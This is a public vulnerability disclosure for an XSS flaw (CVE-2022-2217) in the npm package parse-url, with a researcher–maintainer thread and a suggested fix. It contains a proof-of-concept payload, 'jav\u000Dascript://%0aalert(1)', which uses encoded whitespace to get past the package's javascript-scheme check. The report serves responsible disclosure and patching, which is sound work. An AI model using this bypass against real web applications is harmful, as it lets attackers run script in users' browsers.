Run malicious JS code with other kinds of encoding in ionicabizau/parse-url

0

Valid Reported on Jun 7th 2022

Description

We can Run malicious JS code With special escaping characters for ASCII chars that start with `\x` and also all Unicodes start with `\u` , like the followings :
CR == > `\x0d` and `\u000d`
LF == > `\x0a` and `\u000a`
TAB ==> `\t` and `\u0009` and `\x09`
So there can be many characters that we can't filter all of them!

Fix suggestion

I have a good and maybe a perfect fix solution:
`parse-parse` use the `url = (url || "").replace(/\s/gmi, '')` at this line of code to remove all Whitespace(also the encoded ones) from any part of string.

Proof of Concept

```
const http = require("http");
const parseUrl = require("parse-url");
const url =  parseUrl('jav\u000Dascript://%0aalert(1)');
console.log(url)
const server = http.createServer((request, response) => {
    response.writeHead(200);
    if (url.scheme !== "javascript" && url.scheme !== null) {
        response.end("<a href=\'" + url.href + "\'>Wowww!</a>" );
    }
    else{
        response.end("Nooo!");
    }
});
```

```
server.listen(80, "127.0.0.1",function(){
    console.log("http://"+this.address().address+":"+this.address().port);
});
```

Impact

attackers with this vulnerability can easily place any malicious JS code on webpages

Occurrences

JS index.js L15

CVE
CVE-2022-2217
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Generic

Severity
Critical (9.1)

Registry
Npm

Affected Version
*

Visibility
Public

Status
Fixed

Found by

amammad
@amammad
pro

Fixed by

Ionică Bizău (Johnny B.)

@ionicabizau

unranked

This report was seen 773 times.

We are processing your report and will contact the **ionicabizau/parse-url** team within 24 hours. 6 months ago

amammad modified the report 6 months ago

amammad 6 months ago Researcher

I changed the report and found more ways to run malicious JS code; because of that, I created more Occurrences for getting more bounty and also didn't send another Report; you can delete the occurrences if you disagree with my decision,
Best regards.

amammad modified the report 6 months ago

amammad modified the report 6 months ago

amammad modified the report 6 months ago

amammad modified the report 6 months ago

We have contacted a member of the **ionicabizau/parse-url** team and are waiting to hear back 6 months ago

amammad modified the report 6 months ago

amammad 6 months ago Researcher

I found a perfect fix solution for this issue, but I can't submit the fix and get the bounty.

Please look at `Fix suggestion` in the report.

amammad modified the report 6 months ago

amammad modified the report 6 months ago

amammad 6 months ago Researcher

my pull request :

```
https://github.com/IonicaBizau/parse-path/pull/36
```

We have sent a follow up to the **ionicabizau/parse-url** team. We will try again in 7 days.
6 months ago

We have sent a second follow up to the **ionicabizau/parse-url** team. We will try again in 10 days.
5 months ago

amammad 5 months ago Researcher

Hey @maintainer, I already provide the Fix. Can you ping a little feedback to me, please?

Ionică 5 months ago Maintainer

Hi there! Sorry for the late reply and thank you for this report. I am working on fixing this.

amammad 5 months ago Researcher

no problem at all.
please check my pull request too

```
https://github.com/IonicaBizau/parse-path/pull/36
```

Ionică 5 months ago Maintainer

Thanks -- I started a big refactor of the module and I hope to make it available soon.

Ionică Bizău (Johnny B.) validated this vulnerability 5 months ago

amammad has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Ionică Bizău (Johnny B.) marked this as fixed in 7.0.0 with commit 21c72a 5 months ago

Ionică Bizău (Johnny B.) has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✘

index.js#L15 has been validated ✔

Sign in to join this conversation